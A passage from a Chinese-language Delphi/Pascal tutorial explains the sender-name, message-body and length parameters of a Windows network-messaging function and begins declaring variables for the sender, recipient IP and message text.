fromname:发送人的名字,就是你的了,你可以写你的名字,也可以写别的了;
buf:消息主体的内容;
buflen:消息主体的大小,设大点就可以了。
现在我们可以设置几个string变量了,假设string1是你的名字,string2是接受者的ip,string3是消息内容。
const
max_length=1025;//设置消息内容的大小,够大了吧,呵呵
var
string1,string2,string3:string;
pstring1,pstring2:array[0..28] of pwidechar;
&

